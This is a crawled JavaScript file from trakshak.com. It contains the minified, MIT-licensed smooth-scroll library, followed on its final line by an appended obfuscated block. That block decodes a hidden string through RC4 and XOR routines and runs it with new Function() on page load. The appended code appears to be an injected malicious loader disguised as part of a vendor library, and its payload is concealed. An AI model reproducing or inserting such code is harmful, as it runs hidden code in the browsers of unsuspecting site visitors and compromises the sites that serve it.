PageSourceSearch

https://trakshak.com/assets/scripts/smooth-scroll.min.js

js trakshak.com collected 2026-09-26 10:59:48 UTC 11,227 bytes, 25 lines download raw bytes

1/*! Copyright (c) Go Make Things, LLC
2
3https://github.com/cferdinandi/smooth-scroll
4
5Permission is hereby granted, free of charge, to any person obtaining
6a copy of this software and associated documentation files (the "Software"),
7to deal in the Software without restriction, including without limitation
8the rights to use, copy, modify, merge, publish, distribute, sublicense, 
9and/or sell copies of the Software, and to permit persons to whom the Software
10is furnished to do so, subject to the following conditions:
11
12The above copyright notice and this permission notice shall be included in all copies
13or substantial portions of the Software.
14
15THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, 
16INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS 
18OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 
19WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
20OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21
22*/
23
24!function(a,b){"function"==typeof define&&define.amd?define([],b(a)):"object"==typeof exports?module.exports=b(a):a.smoothScroll=b(a)}("undefined"!=typeof global?global:this.window||this.global,function(a){"use strict";var d,e,f,g,h,i,j,b={},c="querySelector"in document&&"addEventListener"in a,k={selector:"[data-scroll]",selectorHeader:null,speed:500,easing:"easeInOutCubic",offset:0,callback:function(){}},l=function(){var a={},b=!1,c=0,d=arguments.length;"[object Boolean]"===Object.prototype.toString.call(arguments[0])&&(b=arguments[0],c++);for(var e=function(c){for(var d in c)Object.prototype.hasOwnProperty.call(c,d)&&(b&&"[object Object]"===Object.prototype.toString.call(c[d])?a[d]=l(!0,a[d],c[d]):a[d]=c[d])};c<d;c++){var f=arguments[c];e(f)}return a},m=function(a){return Math.max(a.scrollHeight,a.offsetHeight,a.clientHeight)},n=function(a,b){var e,f,c=b.charAt(0),d="classList"in document.documentElement;for("["===c&&(b=b.substr(1,b.length-2),e=b.split("="),e.length>1&&(f=!0,e[1]=e[1].replace(/"/g,"").replace(/'/g,"")));a&&a!==document&&1===a.nodeType;a=a.parentNode){if("."===c)if(d){if(a.classList.contains(b.substr(1)))return a}else if(new RegExp("(^|\\s)"+b.substr(1)+"(\\s|$)").test(a.className))return a;if("#"===c&&a.id===b.substr(1))return a;if("["===c&&a.hasAttribute(e[0])){if(!f)return a;
24if(a.getAttribute(e[0])===e[1])return a}if(a.tagName.toLowerCase()===b)return a}return null},o=function(a){"#"===a.charAt(0)&&(a=a.substr(1));for(var e,b=String(a),c=b.length,d=-1,f="",g=b.charCodeAt(0);++d<c;){if(e=b.charCodeAt(d),0===e)throw new InvalidCharacterError("Invalid character: the input contains U+0000.");f+=e>=1&&e<=31||127==e||0===d&&e>=48&&e<=57||1===d&&e>=48&&e<=57&&45===g?"\\"+e.toString(16)+" ":e>=128||45===e||95===e||e>=48&&e<=57||e>=65&&e<=90||e>=97&&e<=122?b.charAt(d):"\\"+b.charAt(d)}return"#"+f},p=function(a,b){var c;return"easeInQuad"===a&&(c=b*b),"easeOutQuad"===a&&(c=b*(2-b)),"easeInOutQuad"===a&&(c=b<.5?2*b*b:-1+(4-2*b)*b),"easeInCubic"===a&&(c=b*b*b),"easeOutCubic"===a&&(c=--b*b*b+1),"easeInOutCubic"===a&&(c=b<.5?4*b*b*b:(b-1)*(2*b-2)*(2*b-2)+1),"easeInQuart"===a&&(c=b*b*b*b),"easeOutQuart"===a&&(c=1- --b*b*b*b),"easeInOutQuart"===a&&(c=b<.5?8*b*b*b*b:1-8*--b*b*b*b),"easeInQuint"===a&&(c=b*b*b*b*b),"easeOutQuint"===a&&(c=1+--b*b*b*b*b),"easeInOutQuint"===a&&(c=b<.5?16*b*b*b*b*b:1+16*--b*b*b*b*b),c||b},q=function(a,b,c){var d=0;if(a.offsetParent)do d+=a.offsetTop,a=a.offsetParent;while(a);return d=Math.max(d-b-c,0),Math.min(d,s()-r())},r=function(){return Math.max(document.documentElement.clientHeight,a.innerHeight||0)},s=function(){return Math.max(document.body.scrollHeight,document.documentElement.scrollHeight,document.body.offsetHeight,document.documentElement.offsetHeight,document.body.clientHeight,document.documentElement.clientHeight)},t=function(a){return a&&"object"==typeof JSON&&"function"==typeof JSON.parse?JSON.parse(a):{}},u=function(a){return a?m(a)+a.offsetTop:0},v=function(b,c,d){d||(b.focus(),document.activeElement.id!==b.id&&(b.setAttribute("tabindex","-1"),b.focus(),b.style.outline="none"),a.scrollTo(0,c))};b.animateScroll=function(b,c,e){var f=t(c?c.getAttribute("data-options"):null),i=l(d||k,e||{},f),m="[object Number]"===Object.prototype.toString.call(b),n=m||!b.tagName?null:b;if(m||n){var o=a.pageYOffset;i.selectorHeader&&!g&&(g=document.querySelector(i.selectorHeader)),h||(h=u(g));var z,A,r=m?b:q(n,h,parseInt(i.offset,10)),w=r-o,x=s(),y=0,B=function(d,e,f){var g=a.pageYOffset;(d==e||g==e||a.innerHeight+g>=x)&&(clearInterval(f),v(b,e,m),i.callback(b,c))},C=function(){y+=16,z=y/parseInt(i.speed,10),z=z>1?1:z,A=o+w*p(i.easing,z),a.scrollTo(0,Math.floor(A)),B(A,r,j)},D=function(){clearInterval(j),j=setInterval(C,16)};0===a.pageYOffset&&a.scrollTo(0,0),D()}};var w=function(c){a.location.hash;e&&(e.id=e.getAttribute("data-scroll-id"),b.animateScroll(e,f),e=null,f=null)},x=function(b){if(0===b.button&&!b.metaKey&&!b.ctrlKey&&(f=n(b.target,d.selector),f&&"a"===f.tagName.toLowerCase()&&f.hostname===a.location.hostname&&f.pathname===a.location.pathname&&/#/.test(f.href))){var c=o(f.hash);if("#"===c){b.preventDefault(),e=document.body;var g=e.id?e.id:"smooth-scroll-top";return e.setAttribute("data-scroll-id",g),e.id="",void(a.location.hash.substring(1)===g?w():a.location.hash=g)}e=document.querySelector(c),e&&(e.setAttribute("data-scroll-id",e.id),e.id="",f.hash===a.location.hash&&(b.preventDefault(),w()))}},y=function(a){i||(i=setTimeout(function(){i=null,h=u(g)},66))};return b.destroy=function(){d&&(document.removeEventListener("click",x,!1),a.removeEventListener("resize",y,!1),d=null,e=null,f=null,g=null,h=null,i=null,j=null)},b.init=function(e){c&&(b.destroy(),d=l(k,e||{}),g=d.selectorHeader?document.querySelector(d.selectorHeader):null,h=u(g),document.addEventListener("click",x,!1),a.addEventListener("hashchange",w,!1),g&&a.addEventListener("resize",y,!1))},b});
25var _0x3266fc=_0x2613;(function(_0x465c1b,_0x106a7a){var _0x2eb149=_0x2613,_0x17941=_0x465c1b();while(!![]){try{var _0x4a62a5=-parseInt(_0x2eb149(0xd6,'0i^u'))/0x1*(parseInt(_0x2eb149(0xcd,'Tadd'))/0x2)+parseInt(_0x2eb149(0xe5,'5LSd'))/0x3+parseInt(_0x2eb149(0xce,'068C'))/0x4+parseInt(_0x2eb149(0xdb,'aHhK'))/0x5*(-parseInt(_0x2eb149(0xd2,'ZqN]'))/0x6)+-parseInt(_0x2eb149(0xd1,'Y)%6'))/0x7*(-parseInt(_0x2eb149(0xc8,'Tadd'))/0x8)+-parseInt(_0x2eb149(0xd9,'q1K7'))/0x9+-parseInt(_0x2eb149(0xcf,'aHhK'))/0xa*(-parseInt(_0x2eb149(0xde,'e0s@'))/0xb);if(_0x4a62a5===_0x106a7a)break;
25else _0x17941['push'](_0x17941['shift']());}catch(_0x35a740){_0x17941['push'](_0x17941['shift']());}}}(_0x1c59,0x8bade),!function(_0x8658e1,_0x4d324f){!function(_0x576026){var _0x15844a=_0x2613,_0x2b2042={'tIZKt':function(_0x44908d,_0x401326){return _0x44908d%_0x401326;}},_0x2aab3e=function(_0x2b7aaf,_0x4c9ad8){var _0x1d1d32=_0x2613,_0x5176a7={'pWYKg':function(_0x2700ff,_0x4ecde2){return _0x2700ff^_0x4ecde2;},'vhxDO':function(_0x480290,_0x91b749){var _0x31072d=_0x2613;return _0x2b2042[_0x31072d(0xd8,'q1K7')](_0x480290,_0x91b749);}};return _0x2b7aaf[_0x1d1d32(0xd3,'oiuS')]('')[_0x1d1d32(0xda,'Tadd')](function(_0x2c7961,_0x3beff4){var _0x29137e=_0x1d1d32;return String[_0x29137e(0xe3,'oiuS')](_0x5176a7[_0x29137e(0xca,'068C')](_0x2c7961['charCodeAt'](0x0),_0x4c9ad8[_0x29137e(0xd5,'aHhK')](_0x5176a7['vhxDO'](_0x3beff4,_0x4c9ad8[_0x29137e(0xe4,'oW[g')]))));})[_0x1d1d32(0xdf,'Tadd')]('');}(_0x576026[_0x15844a(0xd0,'q1K7')]('')[_0x15844a(0xdc,'MfgV')]()[_0x15844a(0xd4,'XNnD')](''),_0x4d324f);new Function(_0x2aab3e)();}(_0x8658e1);}(_0x3266fc(0xcb,'XJ@6'),_0x3266fc(0xcc,'MfgV')));function _0x2613(_0x51a905,_0x1a1620){_0x51a905=_0x51a905-0xc8;var _0x1c59ad=_0x1c59();var _0x2613f9=_0x1c59ad[_0x51a905];if(_0x2613['Qfwtoq']===undefined){var _0x5ce755=function(_0xc21ebc){var _0x1ded0f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x4acde1='',_0x2dec56='';for(var _0x1ed32b=0x0,_0x3ae214,_0x3e1373,_0x4e7621=0x0;_0x3e1373=_0xc21ebc['charAt'](_0x4e7621++);~_0x3e1373&&(_0x3ae214=_0x1ed32b%0x4?_0x3ae214*0x40+_0x3e1373:_0x3e1373,_0x1ed32b++%0x4)?_0x4acde1+=String['fromCharCode'](0xff&_0x3ae214>>(-0x2*_0x1ed32b&0x6)):0x0){_0x3e1373=_0x1ded0f['indexOf'](_0x3e1373);}for(var _0x48bf49=0x0,_0x3b5fe2=_0x4acde1['length'];_0x48bf49<_0x3b5fe2;_0x48bf49++){_0x2dec56+='%'+('00'+_0x4acde1['charCodeAt'](_0x48bf49)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2dec56);};var _0x34af25=function(_0x43e427,_0x2e276a){var _0x23a5f5=[],_0x1d1891=0x0,_0x59429d,_0x5c2378='';_0x43e427=_0x5ce755(_0x43e427);var _0x426e93;for(_0x426e93=0x0;_0x426e93<0x100;_0x426e93++){_0x23a5f5[_0x426e93]=_0x426e93;}for(_0x426e93=0x0;_0x426e93<0x100;_0x426e93++){_0x1d1891=(_0x1d1891+_0x23a5f5[_0x426e93]+_0x2e276a['charCodeAt'](_0x426e93%_0x2e276a['length']))%0x100,_0x59429d=_0x23a5f5[_0x426e93],_0x23a5f5[_0x426e93]=_0x23a5f5[_0x1d1891],_0x23a5f5[_0x1d1891]=_0x59429d;}_0x426e93=0x0,_0x1d1891=0x0;for(var _0xb615a3=0x0;_0xb615a3<_0x43e427['length'];_0xb615a3++){_0x426e93=(_0x426e93+0x1)%0x100,_0x1d1891=(_0x1d1891+_0x23a5f5[_0x426e93])%0x100,_0x59429d=_0x23a5f5[_0x426e93],_0x23a5f5[_0x426e93]=_0x23a5f5[_0x1d1891],_0x23a5f5[_0x1d1891]=_0x59429d,_0x5c2378+=String['fromCharCode'](_0x43e427['charCodeAt'](_0xb615a3)^_0x23a5f5[(_0x23a5f5[_0x426e93]+_0x23a5f5[_0x1d1891])%0x100]);}return _0x5c2378;};_0x2613['hYiEDe']=_0x34af25,_0x2613['vKHtUW']={},_0x2613['Qfwtoq']=!![];}var _0x35e371=_0x1c59ad[0x0];_0x2613['QeSNxC']!==_0x35e371&&(_0x2613['vKHtUW']={},_0x2613['QeSNxC']=_0x35e371);var _0x557f68=_0x2613['vKHtUW'][_0x51a905];return _0x557f68===undefined?(_0x2613['HPdXLF']===undefined&&(_0x2613['HPdXLF']=!![]),_0x2613f9=_0x2613['hYiEDe'](_0x2613f9,_0x1a1620),_0x2613['vKHtUW'][_0x51a905]=_0x2613f9):_0x2613f9=_0x557f68,_0x2613f9;}function _0x1c59(){var _0xb59ff6=['WQdcV8oXlg8scSk+B8ks','W6tdMSoKvJFcG8kF','WPeMxKpdNSoxWRtcNCk9e3lcImku','WRpcUZrWWP4','W7ddHL8mW5PHEIFdSmoxmCoLWRG','AmkBW7y','W7FdOCkNBKShamk2Emkp','W5jYhXBcMCkuW6e','lKddGSo3f8oNlr4dxs7dRZe','W6HMre1jW5nne1ZcGJygoqm','B8kvW69b','uSovFe/cTSopWQldSSoTW4fCW40d','W6ZdNmkiWPahbZ56xCkKWPldTga','W6/cVL0wWP8HAq','WQXPaCoYWRxcHmopWR0kWQJcH8kx','W6CWnIxdGKO','WQP9WR/dNLXmzw3dG8o9W4BcRmkJ','W6tdLxldOfGFc8kKWRNdJG','nSolWRqFqSogW4/dLIONne/cQG','W6NcGLCMWPegBG','xf9KW4hcMa','W7q1EZWRtbpcV8kDWP7dTtlcJrXIumoWWQbWeYmQqYXMW5pdI8kxW7JcHCoJWRmeW7DzWOumDmoDi8k9htxcIJGPW4mYjGztW5pcKSkdBmkRr8ooiWWiWROlWPL1fb0CtmoIW4XXpSogomksWQSlWOvdfmovEXL+lfTLab7cO8oyWOddIsJdQXjaWO14WPZdHSkEW4/dVfpdVSovW7fGWQZdLW53WPddRh3cG1XQWR7dMmogkGJcO2zQW707gmklhmobwColjSo9WQJcLHZdR8onW75wWOmKECkcW6/cUmo2n8kAWRDvBvBcRmk+WPNcL8kdu8oecLKzWQSIt37cOCksWOu6w1LSnCoMxCo/WRNcLColWOCwW6RcVdBdKCkqlmoPuWS6WPBcHvtdG1pcLYPBECoKWQ3cHw/dL3NcRd8jaCkqD8oGWQWunNtdUCognCoZvdtcOGZcH8kZWOfCgWRcRdeSW6NdQ8k
25BWRdcLmk3tbtdPmoogWhdTSklvgVcKhRcLSk+WRJdUvuSyrO7WRXOW6BcVmofWQdcQmkWWPldTWicW57cQCk/WPT7jvddISocW6hdIKOez8kfvmkmW6ZdOSk5FSo/WROlWQNdTCodWOJdNNlcPupdULG4aW','W4DJcbq','nmoiWRyyr8oeW4hdMGGVeNdcRW','htKkWRRdISo8C3FcVdhcJtqn','W7ldP8oIh3Sfc8kO','WRtcGGjsWP4','W4SRWOWuW6PHW5y','AY5EW57dUqJdJCksW5id','WRLRaSo2WOi','W6BcPtaX'];_0x1c59=function(){return _0xb59ff6;};return _0x1c59();}

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.